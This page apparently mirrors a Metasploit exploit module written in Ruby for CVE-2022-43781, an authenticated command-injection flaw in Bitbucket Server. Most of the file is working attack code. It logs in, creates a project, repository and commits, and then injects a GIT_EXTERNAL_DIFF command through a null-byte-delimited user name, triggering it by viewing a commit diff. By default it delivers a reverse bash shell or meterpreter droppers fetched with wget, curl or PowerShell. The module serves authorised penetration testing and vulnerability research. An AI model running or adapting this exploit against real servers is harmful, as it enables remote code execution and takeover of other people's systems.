CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/http/bitbucket_env_var_rce.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Exploit::Git
11
include Msf::Exploit::Git::SmartHttp
12
include Msf::Exploit::CmdStager
13
prepend Msf::Exploit::Remote::AutoCheck
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Bitbucket Environment Variable RCE',
20
'Description' => %q{
21
For various versions of Bitbucket, there is an authenticated command injection
22
vulnerability that can be exploited by injecting environment
23
variables into a user name. This module achieves remote code execution
24
as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment
25
variable, a null character as a delimiter, and arbitrary code into a user's
26
user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable
27
will be run once the Bitbucket application is coerced into generating a diff.
28
29
This module requires at least admin credentials, as admins and above
30
only have the option to change their user name.
31
},
32
'License' => MSF_LICENSE,
33
'Author' => [
34
'Ry0taK', # Vulnerability Discovery
35
'y4er', # PoC and blog post
36
'Shelby Pace' # Metasploit Module
37
],
38
'References' => [
39
[ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'],
40
[ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'],
41
[ 'CVE', '2022-43781']
42
],
43
'Platform' => [ 'win', 'unix', 'linux' ],
44
'Privileged' => true,
45
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
46
'Targets' => [
47
[
48
'Linux Command',
49
{
50
'Platform' => 'unix',
51
'Type' => :unix_cmd,
52
'Arch' => [ ARCH_CMD ],
53
'Payload' => { 'Space' => 254 },
54
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' }
55
}
56
],
57
[
58
'Linux Dropper',
59
{
60
'Platform' => 'linux',
61
'MaxLineChars' => 254,
62
'Type' => :linux_dropper,
63
'Arch' => [ ARCH_X86, ARCH_X64 ],
64
'CmdStagerFlavor' => %i[wget curl],
65
'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' }
66
}
67
],
68
[
69
'Windows Dropper',
70
{
71
'Platform' => 'win',
72
'MaxLineChars' => 254,
73
'Type' => :win_dropper,
74
'Arch' => [ ARCH_X86, ARCH_X64 ],
75
'CmdStagerFlavor' => [ :psh_invokewebrequest ],
76
'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' }
77
}
78
]
79
],
80
'DisclosureDate' => '2022-11-16',
81
'DefaultTarget' => 0,
82
'Notes' => {
83
'Stability' => [ CRASH_SAFE ],
84
'Reliability' => [ REPEATABLE_SESSION ],
85
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
86
}
87
)
88
)
89
90
register_options(
91
[
92
Opt::RPORT(7990),
93
OptString.new('USERNAME', [ true, 'User name to log in with' ]),
94
OptString.new('PASSWORD', [ true, 'Password to log in with' ]),
95
OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/'])
96
]
97
)
98
end
99
100
def check
101
res = send_request_cgi(
102
'method' => 'GET',
103
'uri' => normalize_uri(target_uri.path, 'login'),
104
'keep_cookies' => true
105
)
106
107
return CheckCode::Unknown('Failed to retrieve a response from the target') unless res
108
return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket')
109
110
nokogiri_data = res.get_html_document
111
footer = nokogiri_data&.at('footer')
112
return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer
113
114
version_info = footer.at('span')&.children&.text
115
return CheckCode::Detected('Failed to find version information in footer section') unless version_info
116
117
vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/)
118
return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1
119
120
version_str = vers_matches[1]
121
122
vprint_status("Found version #{version_str} of Bitbucket")
123
major, minor, revision = version_str.split('.')
124
rev_num = revision.to_i
125
126
case major
127
when '7'
128
case minor
129
when '0', '1', '2', '3', '4', '5'
130
return CheckCode::Appears
131
when '6'
132
return CheckCode::Appears if rev_num >= 0 && rev_num <= 18
133
when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16'
134
return CheckCode::Appears
135
when '17'
136
return CheckCode::Appears if rev_num >= 0 && rev_num <= 11
137
when '18', '19', '20'
138
return CheckCode::Appears
139
when '21'
140
return CheckCode::Appears if rev_num >= 0 && rev_num <= 5
141
end
142
when '8'
143
print_status('Versions 8.* are vulnerable only if the mesh setting is disabled')
144
case minor
145
when '0'
146
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
147
when '1'
148
return CheckCode::Appears if rev_num >= 0 && rev_num <= 4
149
when '2'
150
return CheckCode::Appears if rev_num >= 0 && rev_num <= 3
151
when '3'
152
return CheckCode::Appears if rev_num >= 0 && rev_num <= 2
153
when '4'
154
return CheckCode::Appears if rev_num == 0 || rev_num == 1
155
end
156
end
157
158
CheckCode::Detected
159
end
160
161
def default_branch
162
@default_branch ||= Rex::Text.rand_text_alpha(5..9)
163
end
164
165
def uname_payload(cmd)
166
"#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})"
167
end
168
169
def log_in(username, password)
170
res = send_request_cgi(
171
'method' => 'GET',
172
'uri' => normalize_uri(target_uri.path, 'login'),
173
'keep_cookies' => true
174
)
175
176
fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login')
177
178
res = send_request_cgi(
179
'method' => 'POST',
180
'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'),
181
'keep_cookies' => true,
182
'vars_post' => {
183
'j_username' => username,
184
'j_password' => password,
185
'_atl_remember_me' => 'on',
186
'submit' => 'Log in'
187
}
188
)
189
190
fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res
191
res = send_request_cgi(
192
'method' => 'GET',
193
'uri' => normalize_uri(target_uri.path, 'projects'),
194
'keep_cookies' => true
195
)
196
197
fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res
198
unless res.body.include?('Logged in')
199
fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials')
200
end
201
end
202
203
def create_project
204
proj_uri = normalize_uri(target_uri.path, 'projects?create')
205
res = send_request_cgi(
206
'method' => 'GET',
207
'uri' => proj_uri,
208
'keep_cookies' => true
209
)
210
211
fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project')
212
213
vprint_status('Retrieving security token')
214
html_doc = res.get_html_document
215
token_data = html_doc.at('div//input[@name="atl_token"]')
216
fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data
217
218
@token = token_data['value']
219
fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank?
220
221
project_name = Rex::Text.rand_text_alpha(5..9)
222
project_key = Rex::Text.rand_text_alpha(5..9).upcase
223
res = send_request_cgi(
224
'method' => 'POST',
225
'uri' => proj_uri,
226
'keep_cookies' => true,
227
'vars_post' => {
228
'name' => project_name,
229
'key' => project_key,
230
'submit' => 'Create project',
231
'atl_token' => @token
232
}
233
)
234
235
fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res
236
fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key)
237
238
print_status('Project creation was successful')
239
[ project_name, project_key ]
240
end
241
242
def create_repository
243
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create')
244
res = send_request_cgi(
245
'method' => 'GET',
246
'uri' => repo_uri,
247
'keep_cookies' => true
248
)
249
250
fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res
251
252
html_doc = res.get_html_document
253
254
dropdown_data = html_doc.at('li[@class="user-dropdown"]')
255
fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank?
256
email = dropdown_data&.at('span')&.[]('data-emailaddress')
257
fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank?
258
259
repo_name = Rex::Text.rand_text_alpha(5..9)
260
res = send_request_cgi(
261
'method' => 'POST',
262
'uri' => repo_uri,
263
'keep_cookies' => true,
264
'vars_post' => {
265
'name' => repo_name,
266
'defaultBranchId' => default_branch,
267
'description' => '',
268
'scmId' => 'git',
269
'forkable' => 'false',
270
'atl_token' => @token,
271
'submit' => 'Create repository'
272
}
273
)
274
275
fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res
276
res = send_request_cgi(
277
'method' => 'GET',
278
'keep_cookies' => true,
279
'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse')
280
)
281
282
fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404
283
print_good("Successfully created repository '#{repo_name}'")
284
285
[ email, repo_name ]
286
end
287
288
def generate_repo_objects(email, repo_file_data = [], parent_object = nil)
289
txt_data = Rex::Text.rand_text_alpha(5..20)
290
blob_object = GitObject.build_blob_object(txt_data)
291
file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt"
292
293
file_data = {
294
mode: '100755',
295
file_name: file_name,
296
sha1: blob_object.sha1
297
}
298
299
tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ])
300
tree_obj = GitObject.build_tree_object(tree_data)
301
commit_obj = GitObject.build_commit_object({
302
tree_sha1: tree_obj.sha1,
303
email: email,
304
message: Rex::Text.rand_text_alpha(4..30),
305
parent_sha1: (parent_object.nil? ? nil : parent_object.sha1)
306
})
307
308
{
309
objects: [ commit_obj, tree_obj, blob_object ],
310
file_data: file_data
311
}
312
end
313
314
# create two files in two separate commits in order
315
# to view a diff and get code execution
316
def create_commits(email)
317
init_objects = generate_repo_objects(email)
318
commit_obj = init_objects[:objects].first
319
320
refs = {
321
'HEAD' => "refs/heads/#{default_branch}",
322
"refs/heads/#{default_branch}" => commit_obj.sha1
323
}
324
325
final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj)
326
repo_objects = final_objects[:objects] + init_objects[:objects]
327
new_commit = final_objects[:objects].first
328
new_file = final_objects[:file_data][:file_name]
329
330
git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git")
331
res = send_receive_pack_request(
332
git_uri,
333
refs['HEAD'],
334
repo_objects,
335
'0' * 40 # no commits should exist yet, so no branch tip in repo yet
336
)
337
338
fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res
339
fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:')
340
fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok')
341
342
[ new_commit.sha1, commit_obj.sha1, new_file ]
343
end
344
345
def get_user_id(curr_uname)
346
res = send_request_cgi(
347
'method' => 'GET',
348
'uri' => normalize_uri(target_uri.path, 'admin/users/view'),
349
'vars_get' => { 'name' => curr_uname }
350
)
351
352
matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/)
353
fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1
354
355
matched_id[1]
356
end
357
358
def change_username(curr_uname, new_uname)
359
@user_id ||= get_user_id(curr_uname)
360
361
headers = {
362
'X-Requested-With' => 'XMLHttpRequest',
363
'X-AUSERID' => @user_id,
364
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}"
365
}
366
367
vars = {
368
'name' => curr_uname,
369
'newName' => new_uname
370
}.to_json
371
372
res = send_request_cgi(
373
'method' => 'POST',
374
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'),
375
'ctype' => 'application/json',
376
'keep_cookies' => true,
377
'headers' => headers,
378
'data' => vars
379
)
380
381
unless res
382
print_bad('Did not receive a response to the user name change request')
383
return false
384
end
385
386
unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF')
387
print_bad('User name change was unsuccessful')
388
return false
389
end
390
391
true
392
end
393
394
def commit_uri(project_key, repo_name, commit_sha)
395
normalize_uri(
396
target_uri.path,
397
'rest/api/latest/projects',
398
project_key,
399
'repos',
400
repo_name,
401
'commits',
402
commit_sha
403
)
404
end
405
406
def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file)
407
commit_diff_uri = normalize_uri(
408
commit_uri(@project_key, @repo_name, latest_commit_sha),
409
'diff',
410
diff_file
411
)
412
413
send_request_cgi(
414
'method' => 'GET',
415
'uri' => commit_diff_uri,
416
'keep_cookies' => true,
417
'vars_get' => { 'since' => first_commit_sha }
418
)
419
end
420
421
def delete_repository(username)
422
vprint_status("Attempting to delete repository '#{@repo_name}'")
423
repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase)
424
res = send_request_cgi(
425
'method' => 'DELETE',
426
'uri' => repo_uri,
427
'keep_cookies' => true,
428
'headers' => {
429
'X-AUSERNAME' => username,
430
'X-AUSERID' => @user_id,
431
'X-Requested-With' => 'XMLHttpRequest',
432
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
433
'ctype' => 'application/json',
434
'Accept' => 'application/json, text/javascript'
435
}
436
)
437
438
unless res&.body&.include?('scheduled for deletion')
439
print_warning('Failed to delete repository')
440
return
441
end
442
443
print_good('Repository has been deleted')
444
end
445
446
def delete_project(username)
447
vprint_status("Now attempting to delete project '#{@project_name}'")
448
send_request_cgi( # fails to return a response
449
'method' => 'DELETE',
450
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
451
'keep_cookies' => true,
452
'headers' => {
453
'X-AUSERNAME' => username,
454
'X-AUSERID' => @user_id,
455
'X-Requested-With' => 'XMLHttpRequest',
456
'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}",
457
'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings",
458
'ctype' => 'application/json',
459
'Accept' => 'application/json, text/javascript, */*; q=0.01',
460
'Accept-Encoding' => 'gzip, deflate'
461
}
462
)
463
464
res = send_request_cgi(
465
'method' => 'GET',
466
'uri' => normalize_uri(target_uri.path, 'projects', @project_key),
467
'keep_cookies' => true
468
)
469
470
unless res&.code == 404
471
print_warning('Failed to delete project')
472
return
473
end
474
475
print_good('Project has been deleted')
476
end
477
478
def get_repo
479
res = send_request_cgi(
480
'method' => 'GET',
481
'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'),
482
'keep_cookies' => true
483
)
484
485
unless res
486
print_status('Couldn\'t access repos page. Will create repo')
487
return []
488
end
489
490
json_data = JSON.parse(res.body)
491
unless json_data && json_data['size'] >= 1
492
print_status('No accessible repositories. Will attempt to create a repo')
493
return []
494
end
495
496
repo_data = json_data['values'].first
497
repo_name = repo_data['slug']
498
project_key = repo_data['project']['key']
499
500
unless repo_name && project_key
501
print_status('Could not find repo name and key. Creating repo')
502
return []
503
end
504
505
[ repo_name, project_key ]
506
end
507
508
def get_repo_info
509
unless @project_name && @project_key
510
print_status('Failed to find valid project information. Will attempt to create repo')
511
return nil
512
end
513
514
res = send_request_cgi(
515
'method' => 'GET',
516
'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'),
517
'keep_cookies' => true
518
)
519
520
unless res
521
print_status("Failed to access existing repository #{@project_name}")
522
return nil
523
end
524
525
html_doc = res.get_html_document
526
commit_data = html_doc.search('a[@class="commitid"]')
527
unless commit_data && commit_data.length > 1
528
print_status('No commits found for existing repo')
529
return nil
530
end
531
532
latest_commit = commit_data[0]['data-commitid']
533
prev_commit = commit_data[1]['data-commitid']
534
535
file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes')
536
res = send_request_cgi(
537
'method' => 'GET',
538
'uri' => file_uri,
539
'keep_cookies' => true
540
)
541
542
return nil unless res
543
544
json = JSON.parse(res.body)
545
return nil unless json['values']
546
547
path = json['values']&.first&.dig('path')
548
return nil unless path
549
550
[ latest_commit, prev_commit, path['name'] ]
551
end
552
553
def exploit
554
@use_public_repo = true
555
datastore['GIT_USERNAME'] = datastore['USERNAME']
556
datastore['GIT_PASSWORD'] = datastore['PASSWORD']
557
558
if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank?
559
fail_with(Failure::BadConfig, 'No credentials to log in with.')
560
end
561
562
log_in(datastore['USERNAME'], datastore['PASSWORD'])
563
@curr_uname = datastore['USERNAME']
564
565
@project_name, @project_key = get_repo
566
@repo_name = @project_name
567
@latest_commit, @first_commit, @diff_file = get_repo_info
568
unless @latest_commit && @first_commit && @diff_file
569
@use_public_repo = false
570
@project_name, @project_key = create_project
571
email, @repo_name = create_repository
572
@latest_commit, @first_commit, @diff_file = create_commits(email)
573
print_good("Commits added: #{@first_commit}, #{@latest_commit}")
574
end
575
576
print_status('Sending payload')
577
case target['Type']
578
when :win_dropper
579
execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.')
580
when :linux_dropper
581
execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true)
582
when :unix_cmd
583
execute_command(payload.encoded.strip)
584
end
585
end
586
587
def cleanup
588
if @curr_uname != datastore['USERNAME']
589
print_status("Changing user name back to '#{datastore['USERNAME']}'")
590
591
if change_username(@curr_uname, datastore['USERNAME'])
592
@curr_uname = datastore['USERNAME']
593
else
594
print_warning('User name is still set to payload.' \
595
"Please manually change the user name back to #{datastore['USERNAME']}")
596
end
597
end
598
599
unless @use_public_repo
600
delete_repository(@curr_uname) if @repo_name
601
delete_project(@curr_uname) if @project_name
602
end
603
end
604
605
def execute_command(cmd, _opts = {})
606
if target['Platform'] == 'win'
607
curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd))
608
else
609
curr_payload = uname_payload(cmd)
610
end
611
612
unless change_username(@curr_uname, curr_payload)
613
fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload')
614
end
615
616
view_commit_diff(@latest_commit, @first_commit, @diff_file)
617
@curr_uname = curr_payload
618
end
619
end
620
621